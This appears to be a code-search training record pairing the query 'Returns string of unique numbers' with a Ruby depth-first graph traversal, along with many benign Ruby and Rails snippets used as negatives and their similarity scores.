"def duplicates_subarray3(arr)\n arr.uniq.map { |elm| [elm] * arr.count(elm)}.sort_by {|subarr| subarr[0].ord }\nend",
"def array_from_rows(str)\n str.split(\"\\n\").map { |x| x.split(' ').map { |y| y.to_i } }\n end",
"def separate_number_into_groups num_as_string\n num_groups = Array.new\n str = ''\n num_as_string.each_char do |c|\n if str[0] != c and str != ''\n num_groups << str\n str = ''\n end\n str += c\n end\n num_groups << str\nend",
"def magic_array(ma)\nma.flatten.sort.map{|n|n*2}.uniq.delete_if{|n|n%3==0}\nend",
"def marks\n marks = []\n if input =~ / *mark:(\\d\\S*)/i\n marks = $1.gsub /(\\d+)-(\\d+)/ do\n ($1.to_i..$2.to_i).to_a.join(',')\n end\n marks = marks.split(',').collect {|s| s.to_i}.sort\n end\n marks\n end",
"def unique(text)\n normalize(text).uniq\nend",
"def input_as_array\n array = number.split('')\n\n return array.collect! { |x| x.to_i }\n end",
"def clean(input)\n input.each_line.map do |line|\n line.partition(/[\\d,]+/).map do |entry|\n entry.gsub(\" through \", \"\").chomp\n end\n end\nend",
"def extract_multiple_numbers(str)\n return [] if str == '' || str.nil?\n str.scan(STDNUMPAT_MULTIPLE).flatten.map{ |i| i.gsub(/\\-/, '').upcase }\n end",
"def sort(text)\n copy(text.split(\"\\n\").sort)\nend",
"def unique_in_order(iterable)\n def chomp(str)\n str.scan(/((\\w)\\2*)/).map{|el| el[1]}\n end\n\n if iterable.is_a?(String)\n chomp(iterable)\n elsif iterable.all? {|e| e.is_a?(Integer) }\n chomp(iterable.join('')).map{|e| e.to_i}\n else\n chomp(iterable.join(''))\n end\nend",
"def repeated_number_ranges(numbers)\n result = []\n sub_arr = []\n i = 0 \n while i < numbers.length \n if sub_arr.length == 0 && numbers[i] == numbers[i+1]\n sub_arr << i\n elsif sub_arr.length == 1 && numbers[i] != numbers[i+1]\n sub_arr << i\n result << sub_arr\n sub_arr = []\n end\n i+=1\n end\n result\nend",
"def grab_all_sins(string)\n match = string.scan(/(^|\\s)(\\d{3}-\\d{3}-\\d{3})(\\D|$)/)\n unless match == []\n return match.transpose[1]\n end\n []\n end",
"def find_unique_x(numbers)\n numbers.reduce(:^)\nend",
"def remove_dup(given_array, duplicate_count)\r\n counter = 0\r\n new_array = []\r\n hold_info = {}\r\n until counter >= given_array.length \r\n if hold_info[given_array[counter]].nil?\r\n hold_info[given_array[counter]] = 1 \r\n else\r\n hold_info[given_array[counter]] += 1\r\n end\r\n counter += 1\r\n end\r\n duplicates_array = hold_info.select{ |key, value| value == duplicate_count}\r\n new_array = given_array.clone\r\n duplicates_array.each {|key,value| new_array.delete(key)} # delete all the duplicate numbers from the array\r\n p new_array.sort\r\nend",
"def using_uniq(array)\n \n array.uniq\n \nend",
"def get_lines raw_file\n lines = raw_file.split(\"\\n\").compact\n lines = lines.uniq.reject{|line| line.empty?}\n lines = lines.reject do |line| \n not LEGAL_CATEGORIES.include? line.split[0]\n end\n end",
"def foo(x)\r\n \r\n line = x.split\r\n words = Hash.new(0)\r\n for i in 0..line.length-1 do\r\n words[line[i].chomp(\"\").length]+=1\r\n end \r\n words=words.sort_by {|key, _val| key}.to_h\r\n return words\r\nend",
"def remove_numbers\n self.split(\"\\n\").map do |parragraph|\n parragraph unless parragraph.strip.valid_number?\n end.compact.join(\"\\n\")\n end",
"def my_uniq(arr)\n counter = Hash.new(0)\n arr.each do |x|\n counter[x] += 1\n end\n counter.keys\nend",
"def wp_parse_id_list(list)\n list = wp_parse_list list\n list.map{|i| i.to_i.abs}.uniq\n end",
"def using_uniq(array)\n array.uniq\n end"
] |
[
"0.69916975",
"0.6939333",
"0.69217306",
"0.6628614",
"0.65559846",
"0.6490298",
"0.6396486",
"0.6257641",
"0.6214652",
"0.6188274",
"0.60925776",
"0.60897994",
"0.60771984",
"0.6072651",
"0.59944344",
"0.59373873",
"0.5932871",
"0.58856833",
"0.5756978",
"0.57533854",
"0.5737391",
"0.5733747",
"0.57274485",
"0.57175344",
"0.57173336",
"0.5691368",
"0.5687104",
"0.5672948",
"0.5669591",
"0.56586206",
"0.56586206",
"0.5655659",
"0.56201124",
"0.5616841",
"0.5589873",
"0.5577147",
"0.55610174",
"0.5552802",
"0.5551391",
"0.55500335",
"0.5541116",
"0.55329823",
"0.55329",
"0.5512308",
"0.5511864",
"0.5507543",
"0.5490024",
"0.5488862",
"0.54781276",
"0.5474868",
"0.54724735",
"0.5448591",
"0.54444116",
"0.54336435",
"0.5430916",
"0.5420462",
"0.54100585",
"0.5409137",
"0.53965867",
"0.5383687",
"0.53815407",
"0.5371016",
"0.5342938",
"0.5342543",
"0.5337557",
"0.5317118",
"0.5298562",
"0.52967405",
"0.5296361",
"0.5284604",
"0.52811646",
"0.52638",
"0.5258873",
"0.52536535",
"0.525345",
"0.5248451",
"0.5236582",
"0.52355045",
"0.5235055",
"0.52315456",
"0.5230514",
"0.52282184",
"0.52281",
"0.5222861",
"0.5218245",
"0.52161384",
"0.52150685",
"0.52128613",
"0.5206959",
"0.5206742",
"0.52011544",
"0.5195276",
"0.51950026",
"0.5193324",
"0.51927686",
"0.5188976",
"0.5179757",
"0.5176175",
"0.51710755",
"0.5170304",
"0.51692694"
] |
0.0
|
-1
|
Returns string of unique numbers
|
def depth_first_graph(node, visited = [])
if !visited.include? node
visited.push(node)
output = node.data.to_s + " "
output += node.connections.map do |connection|
depth_first_graph(connection, visited)
end.join("")
end
output
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def input(number_string)\n\t\tnumber_string = number_string.split(\" \").to_a.uniq!.sort!.map{|num| num.to_i}\n\t\tputs \"Uniqe Values: #{number_string}\"\n\tend",
"def unique_transaction_number\n chars = [('a'..'z'),('A'..'Z')].map{|i| i.to_a}.flatten\n string = (0...10).map{ chars[rand(chars.length)] }.join + Time.now.to_i.to_s\n end",
"def numUnique2 list\n current_num = list[0]\n unique_numbers = [list[0]]\n\n list.each do |num|\n if num != current_num\n current_num = num\n unique_numbers << num\n end\n end\n return \"**#{unique_numbers.length}**\"\nend",
"def show_prime\n @prime_numbers.uniq.to_s\n end",
"def uniq_digits?(num)\n digits = num.to_s.chars\n digits == digits.uniq\nend",
"def generate_unique_id\n Digest::SHA256.hexdigest unique_id_elements.join\n end",
"def uniq_integer(input_array)\n unique = 0\n input_array.each do |num|\n unique = unique ^ num\n end\n\n unique\nend",
"def uniq?(num)\n num.to_s.chars.uniq.size == num.to_s.chars.size\nend",
"def find_unique(numbers)\n numbers.reduce(:^)\nend",
"def unique(numbers)\r\n output = []\r\n \r\n numbers.each do |num|\r\n if output.include?(num)\r\n\r\n else\r\n output.push(num)\r\n end\r\n end\r\n\r\n return output\r\nend",
"def prompt_numbers\n numbers = []\n while numbers.size < 4 do\n numbers << rand(0..9)\n numbers.uniq!\n end\n return numbers.to_s\n end",
"def uniq_ints()\n []\n end",
"def return_uuid\n possible = []\n possible << ('a'..'f').to_a\n possible << ('0'..'9').to_a\n possible.flatten!\n uuid = ''\n\n sample = [8, 4, 4, 4, 12]\n\n sample.each_with_index do | value, index |\n value.times { uuid += possible.sample }\n uuid += '-' unless sample.size <= index + 1\n end\n\n uuid\nend",
"def find_unique_x(numbers)\n numbers.reduce(:^)\nend",
"def uuid()\n 8.times.map { [*'0'..'9', *'a'..'f'].sample }.join + \"-\" + \\\n 4.times.map { [*'0'..'9', *'a'..'f'].sample }.join + \"-\" + \\\n 4.times.map { [*'0'..'9', *'a'..'f'].sample }.join + \"-\" + \\\n 4.times.map { [*'0'..'9', *'a'..'f'].sample }.join + \"-\" + \\\n 12.times.map { [*'0'..'9', *'a'..'f'].sample }.join\nend",
"def repeated_digit number\n raise \"Wrong type of argument\" if !number.is_a? Numeric\n # array = number.to_s.split(\"\").map(&:to_i)\n # array.count{ |item| item != array.first} == 0\n\n # number.to_s.squeeze.length == 1\n\n number.to_s.chars.uniq.length == 1\nend",
"def unique_id\n generator = Sass::Script::Functions.random_number_generator\n Thread.current[:sass_last_unique_id] ||= generator.rand(36**8)\n # avoid the temptation of trying to guess the next unique value.\n value = (Thread.current[:sass_last_unique_id] += (generator.rand(10) + 1))\n # the u makes this a legal identifier if it would otherwise start with a number.\n identifier(\"u\" + value.to_s(36).rjust(8, '0'))\n end",
"def uuid\n char = (0..9).collect { |n| n.to_s }\n char += ('a'..'f').to_a\n blocks = [8,4,4,4,12]\n \n uuid = ''\n blocks.each do |num|\n while num >= 0\n uuid << char.sample\n num -= 1\n end\n uuid += '-' \n end\n uuid.chop\nend",
"def uuid\n group_1 = 8.times.with_object(\"\") { |_, string| string << HEXADEMICAL.sample } # => \"0a580bd3\"\n group_2 = 4.times.with_object(\"\") { |_, string| string << HEXADEMICAL.sample } # => \"ad8e\"\n group_3 = 4.times.with_object(\"\") { |_, string| string << HEXADEMICAL.sample } # => \"4aa1\"\n group_4 = 4.times.with_object(\"\") { |_, string| string << HEXADEMICAL.sample } # => \"b825\"\n group_5 = 12.times.with_object(\"\") { |_, string| string << HEXADEMICAL.sample } # => \"6442e98450ac\"\n\n \"#{group_1}-#{group_2}-#{group_3}_#{group_4}-#{group_5}\" # => \"0a580bd3-ad8e-4aa1_b825-6442e98450ac\"\nend",
"def single_number(nums)\n uniques = []\n nums.each do |num|\n uniques.include?(num) ? uniques.delete(num) : uniques << num\n end\n uniques\nend",
"def uniqid\n SecureRandom.hex(32)\n end",
"def uniqid\n SecureRandom.hex(32)\n end",
"def generate_uid\n def tri vals\n \"#{vals.sample}#{vals.sample}#{vals.sample}\"\n end\n chars = (\"A\"..\"Z\").to_a\n numbers = (\"0\"..\"9\").to_a\n self.uid = loop do\n uid = \"#{tri(chars)}-#{tri(numbers)}-#{tri(chars)}-#{tri(numbers)}-#{tri(chars)}\"\n break uid unless Ticket.where(uid: uid).exists?\n end\n end",
"def find_unique(array)\n unique_id = 0\n\n array.each do |num|\n unique_id ^= num\n end\n\n unique_id\nend",
"def mutate_ugcid(_)\n (ALPHABET.sample(6) + DIGITS.sample(4)).join\n end",
"def generate_uuid\n characters = []\n ('a'..'z').each { |letter| characters << letter}\n (0..9).each { |integer| characters << integer}\n sections = [8, 4, 4, 4, 12]\n uuid = []\n sections.each do |digit_quantity|\n uuid << characters.flatten.sample(digit_quantity).join\n end\n uuid.join('-')\nend",
"def get_uuid\n characters = ('0'..'9').to_a + ('a'..'f').to_a\n dash_positions = [8, 13, 18, 23]\n uuid = []\n\n 32.times do\n uuid.push(characters.sample)\n end\n uuid.each_with_index{ |char, ind| uuid.insert(ind, '-') if dash_positions.include?(ind) }\n uuid.join\nend",
"def new_uuid\n uuid_arr = []\n ('a'..'f').each {|char| uuid_arr << char}\n (0..9).each {|num| uuid_arr << num.to_s}\n\n uuid = \" \"\n uuid_arr.sample\n\nend",
"def generate_free_insurance_id\n return 'AiShanXing' + DateTime.current.in_time_zone('Beijing').to_s(:number) + ('0'..'9').to_a.shuffle[0..3].join\n end",
"def random_distinct_string(length)\n random_distinct_chars(length).join\n end",
"def uuid_method\nhexadecimal_chars = %w(a b c d e f 0 1 2 3 4 5 6 7 8 9)\n\nfour_digit_array = []\nsecond_four_digit_array = []\nthird_four_digit_array = []\neight_digit_array = []\ntwelve_digit_array = []\n\nuntil four_digit_array.length == 4\nfour_digit_array << hexadecimal_chars.sample\nend\nuntil second_four_digit_array.length == 4\nsecond_four_digit_array << hexadecimal_chars.sample\nend\nuntil third_four_digit_array.length == 4\nthird_four_digit_array << hexadecimal_chars.sample\nend\nuntil eight_digit_array.length == 4\neight_digit_array << hexadecimal_chars.sample\nend\nuntil twelve_digit_array.length == 4\ntwelve_digit_array << hexadecimal_chars.sample\nend\n\"#{eight_digit_array.join}-#{four_digit_array.join}-#{second_four_digit_array.join}-#{third_four_digit_array.join}-#{twelve_digit_array.join}\"\nend",
"def CheckUniqDigits(n)\n\n h1 = Hash.new\n\n arr = n.digits\n\n for onedig in arr\n\n h1.key?(onedig) ? (return 0) : (h1[onedig] = 1)\n\n end\n\n return 1\n\nend",
"def unique_identifier\n Digest::MD5.hexdigest(@name.to_s)[0..9]\n end",
"def find_uniq_int(array)\n\tuniq_id = 0\n\n\tarray.each do |element|\n\t\tuniq_id ^= element\n\tend \n\n\treturn uniq_id\nend",
"def generate_UUID\n characters = [] \n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def pcba_unique_number\n self.pcba_prefix + '-' + self.pcba_number\n end",
"def generate_UUID\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12] # integers representing the number of characters in each section\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1 # index >= 4\n end\n\n uuid\nend",
"def generate_UUID\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def generate_UUID\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def generate_UUID\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def generate_UUID\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def number_shuffle(number)\n nums = \"#{number}\".split('')\n unique_nums = []\n (1..nums.length).inject(:*).times do\n loop do\n break if !unique_nums.include?(nums.shuffle!.join.to_i)\n end\n unique_nums << nums.join.to_i\n end\n return unique_nums.sort\nend",
"def unique(arr)\n var = \"\"\n output = [arr[0]]\n i = 1\n while i < arr.length\n j = 0\n var = \"\"\n while j < output.length\n if arr[i] != output[j]\n var = arr[i]\n j += 1\n else\n var = \"\"\n j += output.length\n end\n end\n if var != \"\"\n output << var\n end\n i += 1\n end\n return output\nend",
"def pcb_unique_number\n self.pcb_prefix + '-' + self.pcb_number\n end",
"def uuid2\n hexchars = (('0'..'9').to_a).concat(('a'..'f').to_a)\n sections = [8, 4, 4, 4, 12]\n result = ''\n\n sections.each do |section|\n section.times do\n result << hexchars.sample.to_s\n end\n result << '-'\n end\n\n result.chop # to cut off trailing char\nend",
"def generate_UUID\n characters = []\n (0..9).each{ | digit | characters << digit.to_s}\n ('a'..'f').each{ | digit | characters << digit}\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times{ uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n return uuid\n end",
"def unique_id\n $unique_id_increment = ($unique_id_increment || 0) + 1\n return (Time.new.to_f * 1000).to_i.to_s + $unique_id_increment.to_s\nend",
"def uuid\n id = ''\n id << %w(0 1 2 3 4 5 6 7 8 9 a b c d e f).sample until id.size >= 32\n 4.times { |i| id.insert(8+i*5, '-') }\n id\nend",
"def new_uuid\n string_values = ['1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']\n uuid = \"\"\n 8.times {uuid += string_values.sample}\n uuid += \"-\"\n 3.times\n 4.times {uuid+= string_values.sample}\n uuid += \"-\"\n 12.times {uuid += string_values.sample}\n uuid\nend",
"def generate_uuid\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit.to_s}\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= section.size - 1\n end\n\n uuid\nend",
"def no_to_use_as_reference\n self.id.to_s.rjust(11, '0')\n end",
"def to_strings\n digits.inject(['']) do |results, digit|\n combinations(results, digit)\n end\n end",
"def to_s\n unique_name.to_s\n end",
"def unique_in_order(x)\r\n a = (x.class == String ? x.chars : x ).chunk { |i| i }\r\n a.map{|a| a.first}\r\nend",
"def generate_UUID\n characters = [] # => []\n (0..9).each { |number| characters << number.to_s } # => 0..9\n ('a'..'f').each { |letter| characters << letter } # => \"a\"..\"f\"\n\n uuid = \"\" # => \"\"\n sections = [8, 4, 4, 4, 12] # => [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index| # => [8, 4, 4, 4, 12]\n section.times { uuid += characters.sample } # => 8, 4, 4, 4, 12\n uuid += '-' unless index >= sections.size - 1 # => \"98a0df48-\", \"98a0df48-5f8a-\", \"98a0df48-5f8a-aa68-\", \"98a0df48-5f8a-aa68-2057-\", nil\n end # => [8, 4, 4, 4, 12]\n\n uuid # => \"98a0df48-5f8a-aa68-2057-7dbc6e43c04e\"\nend",
"def another_generate_uuid\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |letter| characters << letter }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n uuid\nend",
"def build_UUID\n uuid = \"\"\n segment = \"\"\n character_set = ('a'..'f').to_a + (0..9).to_a\n\n sections = [8, 4, 4, 4, 12]\n uuid = sections.map do |section|\n segment = \"\"\n section.times do \n segment += character_set.sample.to_s \n end\n segment\n end.join('-')\nend",
"def uuid\n chars = ('a'..'z').to_a + (1..9).to_a\n p \"#{chars.sample(8).join}-#{chars.sample(4).join}-#{chars.sample(4).join}-#{chars.sample(4).join}-#{chars.sample(12).join}\" \n \nend",
"def generate_uid\n [Time.now.strftime('%Y%m%d%H%M%S'), \"%05d\" % rand(10000)].join\n end",
"def stringy(number)\n digits = []\n counter = 0\n while counter < number do\n digits[counter] = counter.odd? ? 0 : 1\n counter += 1\n end\n digits.join\nend",
"def create_UUID\n characters =[]\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= section.size - 1\n end\n\n uuid\nend",
"def number\n\t\"#{Time.now.to_i}-#{rand(1_000_000)}\"\n end",
"def generate_unique_key(now = Time.now)\n u1 = ((now.to_i*1000*1000+now.usec) << 12 | rand(0xfff))\n uid = [u1 >> 32, u1 & 0xffffffff, rand(0xffffffff), rand(0xffffffff)].pack('NNNN')\n uid.unpack('C*').map { |x| \"%02x\" % x }.join\n end",
"def generate_uuid \n uuid_array = Array.new \n uuid_array << Array.new(8){rand(36).to_s(36)}.join\n 3.times do \n uuid_array << Array.new(4){rand(36).to_s(36)}.join\n end \n uuid_array << Array.new(12){rand(36).to_s(36)}.join\nputs uuid_array.join('-')\nend",
"def unique_number(arr)\n arr.uniq.find { |e| arr.count(e) == 1 }\nend",
"def create_uuid()\n characters = []\n ('a'..'z').each { |let| characters << let}\n ('0'..'9').each { |num| characters << num}\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |num, index|\n num.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def unique_id\n # check all_data instead of data, as we have to not reuse deleted key\n ids = Set.new(all_data.map { |e| e[:key] })\n id = 1\n loop do\n return id.to_s unless ids.include?(id.to_s)\n id += 1\n end\n end",
"def find_unique_integer(id_array)\n unique_id = 0 \n id_array.each do |id|\n unique_id ^= id\n end\n\n return unique_id\nend",
"def uuid_generator\n character_set = %w(a b c d e f 0 1 2 3 4 5 6 7 8 9)\n\n uuid = ''\n\n [8, 4, 4, 4, 12].each do |num|\n num.times { uuid << character_set.sample }\n uuid << '-' if num != 12\n end\n\n uuid\nend",
"def uniqueness_dictionary\n [*(:A..:Z), *(:a..:z), *(0..9)].map(&:to_s)\n end",
"def unique_temp\n \"$TMP_#{@unique += 1}\"\n end",
"def shortened\n id.to_s(Radix)\n end",
"def random_bitstring(num_bits)\n return ( 0..num_bits ).inject(\"\"){ |s,i| s << ( ( rand < 0.5 ) ? \"1\" : \"0\" ) }\n end",
"def generate_unique_key\n # not doing uppercase as url is case insensitive\n charset = ::Shortener.key_chars\n (0...::Shortener.unique_key_length).map{ charset[rand(charset.size)] }.join\n end",
"def unique_id\n # Consider using SecureRandom.hex here, and benchmark which one is better\n (Time.now.to_f * 1000).to_i.to_s(36) + rand(1_000_000).to_s(36)\n end",
"def uuid_generator\n uuid = []\n \n segments = [8, 4, 4, 4, 12]\n segments.each do |num|\n uuid << CHARS.sample(num).join\n end \n \n p uuid.join('-')\nend",
"def show_first_unique()\n \n end",
"def unique(str)\n return str if str.nil?\n set = Set.new\n str.chars.each {|c| set << c}\n set.to_a.sort.reverse.join\nend",
"def generate_uuid\n hex = []\n (0..9).each { |i| hex << i.to_s }\n ('a'..'f').each { |l| hex << l }\n\n result = []\n sections = [8, 4, 4, 4, 12]\n\n sections.each do |num|\n num.times do \n result << hex[rand(16)]\n end\n result << '-'\n end\n\n result.join.chop\nend",
"def number_shuffle(number)\n digits = number.to_s.split(//).uniq\n factorial = (1..digits.length).inject(:*) || 1\n\n res = []\n res << digits.shuffle.join.to_i while res.uniq.size != factorial\n\n res.uniq.sort\nend",
"def rand_uuid\n [8,4,4,4,12].map {|n| rand_hex_3(n)}.join('-').to_s\nend",
"def rand_uuid\n [8,4,4,4,12].map {|n| rand_hex_3(n)}.join('-').to_s\nend",
"def to_s\n send( self.class.unique_string_field )\n end",
"def generate_unique_mac\n sprintf('b88d12%s', (1..3).map{\"%0.2X\" % rand(256)}.join('').downcase)\n end",
"def delete_digit_x(n)\n n.digits.reverse.combination(n.digits.size-1).max.join.to_i\nend",
"def uuid_gen()\nslot_one = []\nslot_two = []\nslot_three = []\nslot_four = []\nslot_five = []\n counter_one = 0\n counter_two=0\n counter_three=0\n counter_four=0\n counter_five=0\n while counter_one < 8 do\n val = [('a'..'z'),(0..9)].map{|i| i.to_a}.join\n slot_one << val[rand(val.length)]\n counter_one += 1\n end\n while counter_two < 4 do\n val = [('a'..'z'),(0..9)].map{|i| i.to_a}.join\n slot_two << val[rand(val.length)]\n counter_two += 1\n end\n while counter_three < 4 do\n val = [('a'..'z'),(0..9)].map{|i| i.to_a}.join\n slot_three << val[rand(val.length)]\n counter_three += 1\n end\n while counter_four < 4 do\n val = [('a'..'z'),(0..9)].map{|i| i.to_a}.join\n slot_four << val[rand(val.length)]\n counter_four += 1\n end\n while counter_five < 12 do\n val = [('a'..'z'),(0..9)].map{|i| i.to_a}.join\n slot_five << val[rand(val.length)]\n counter_five += 1\n end\n return \"#{slot_one.join}-#{slot_two.join}-#{slot_three.join}-#{slot_four.join}-#{slot_five.join}\"\nend",
"def uuid\n hex = ((0..15).to_a).zip((('0'..'9').to_a).concat(('a'..'f').to_a)).to_h\n result = \"\"\n 32.times do\n result << hex[rand(0..15)]\n end\n result.insert(8, '-')\n result.insert(13, '-')\n result.insert(18, '-')\n result.insert(23, '-')\n result\nend",
"def unique_id\n object_id.abs.to_s(16)\n end",
"def create_uuid\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n \n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n \n uuid\nend",
"def delete_digit(n)\n (s = n.to_s.chars).combination(s.size-1).max.join.to_i\nend",
"def get_account_id\n num = rand(111111111..999999999)\n id = sprintf(\"%09d\", num)\n id.to_s\n end",
"def show_first_unique()\n return -1 if @uniq.empty?\n @uniq.first\n end",
"def count_unique(s1, s2)\r\n (s1 + s2).chars.uniq.count\r\nend",
"def make_uuid\n hex_arr = (0..9).to_a + ('a'..'f').to_a\n hex_arr = hex_arr.map!(&:to_s)\n \n uuid = \"\"\n sections = [8, 4, 4, 4, 12] \n sections.each_with_index do |section, index|\n section.times { uuid += hex_arr.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def uuid\n time = Time.now.to_i.to_s(16)\n second = rand(10000..99999).to_s(16)\n third = rand(10000..99999).to_s(16)\n fourth = rand(10000..99999).to_s(16)\n fifth = rand(10000000000000..99999999999999).to_s(16)\n\n \"#{time}-#{second}-#{third}-#{fourth}-#{fifth}\"\nend",
"def string\n binary.map { |i| i.to_i.to_s(16) }.join('')\n end",
"def short_number_uuid(prenumber='01', n=10)\n uuid_class = (UUIDTools::UUID rescue UUID)\n uuid_class.random_create().to_s\n end",
"def stringy(num = 1)\n ones_zeros = []\n counter = 0\n \n loop do\n # break if num == 1\n if ones_zeros == []\n ones_zeros << 1\n end\n\n ones_zeros[counter] == 1 ? ones_zeros << 0 : ones_zeros << 1\n counter += 1\n break if counter == num -1\n end\n string_num = ones_zeros.join\nend",
"def uniq() end",
"def gen_uuid\n arr = [('a'..'f'), (0..9)].map{|i| i.to_a}.flatten\n uuid = \"\"\n 8.times {uuid << arr[rand(16)].to_s} ; uuid << \"-\"\n 3.times {4.times {uuid << arr[rand(16)].to_s} ; uuid << \"-\"}\n 12.times {uuid << arr[rand(16)].to_s}\n uuid\nend",
"def unique_id(slug)\n Zlib.crc32 slug\n end"
] |
[
"0.72859997",
"0.723734",
"0.69769025",
"0.694031",
"0.6684781",
"0.6645648",
"0.65625715",
"0.65506375",
"0.6537579",
"0.6529515",
"0.64639395",
"0.64434075",
"0.63922924",
"0.6372563",
"0.63432455",
"0.6293495",
"0.62917864",
"0.628021",
"0.6241527",
"0.6175539",
"0.6158431",
"0.6158431",
"0.61559653",
"0.61446667",
"0.61006737",
"0.6099225",
"0.6090583",
"0.6027215",
"0.6009264",
"0.59918916",
"0.59846336",
"0.5984425",
"0.5983821",
"0.5981955",
"0.59709376",
"0.59674644",
"0.59665984",
"0.5961827",
"0.5961827",
"0.5961827",
"0.5961827",
"0.5952315",
"0.59501076",
"0.59361976",
"0.59352094",
"0.59241515",
"0.59221125",
"0.59158003",
"0.5914743",
"0.5907536",
"0.59056956",
"0.58999306",
"0.5892647",
"0.5885955",
"0.58770704",
"0.5876348",
"0.58457947",
"0.5837402",
"0.58213294",
"0.58211124",
"0.58155495",
"0.58132607",
"0.58032936",
"0.5802093",
"0.5798406",
"0.5798105",
"0.5794437",
"0.57893723",
"0.5779353",
"0.57688504",
"0.57684636",
"0.57676715",
"0.5767395",
"0.57627386",
"0.57555544",
"0.5747384",
"0.57458395",
"0.5742713",
"0.5739626",
"0.5738878",
"0.57310295",
"0.57310295",
"0.57218134",
"0.57209724",
"0.57155114",
"0.5701937",
"0.5700019",
"0.5697155",
"0.569079",
"0.5689675",
"0.56895894",
"0.5680299",
"0.567955",
"0.56781876",
"0.5672074",
"0.5670659",
"0.56700283",
"0.56608933",
"0.5660357",
"0.5655999",
"0.5655527"
] |
0.0
|
-1
|
GET /informacoes_ged GET /informacoes_ged.json
|
def index
if !params[:orgao_id].blank? && current_user.admin
@informacoes_ged = InformacaoGed.where(orgao_id: params[:orgao_id])
elsif current_user.admin
@informacoes_ged = InformacaoGed.all
else
@informacoes_ged = InformacaoGed.where(orgao_id: current_user.orgao_id)
end
#@informacoes_ged = InformacaoGed.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def emergencias_en_curso\n @emergencies = Emergency.where(:estado => 'f')\n render json: @emergencies\n end",
"def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end",
"def show\n @ecg = Ecg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ecg }\n end\n end",
"def set_informacao_ged\n @informacao_ged = InformacaoGed.find(params[:id])\n end",
"def index\n @antecedentes = Antecedente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @antecedentes }\n end\n end",
"def show\n @indicacao = Indicacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicacao }\n end\n end",
"def show\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end",
"def show\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegiatura }\n end\n end",
"def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end",
"def index\n @estacionamientos = Estacionamiento.all\n\n @json = Estacionamiento.all.to_gmaps4rails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @estacionamientos }\n end\n end",
"def new\n @indicacao = Indicacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @indicacao }\n end\n end",
"def show\n @indicativo = Indicativo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicativo }\n end\n end",
"def index_by_age\n @age = Age.find(params[:age_id])\n @gifts = @age.gifts\n render json: @gifts, include: :ages, status: :ok\n end",
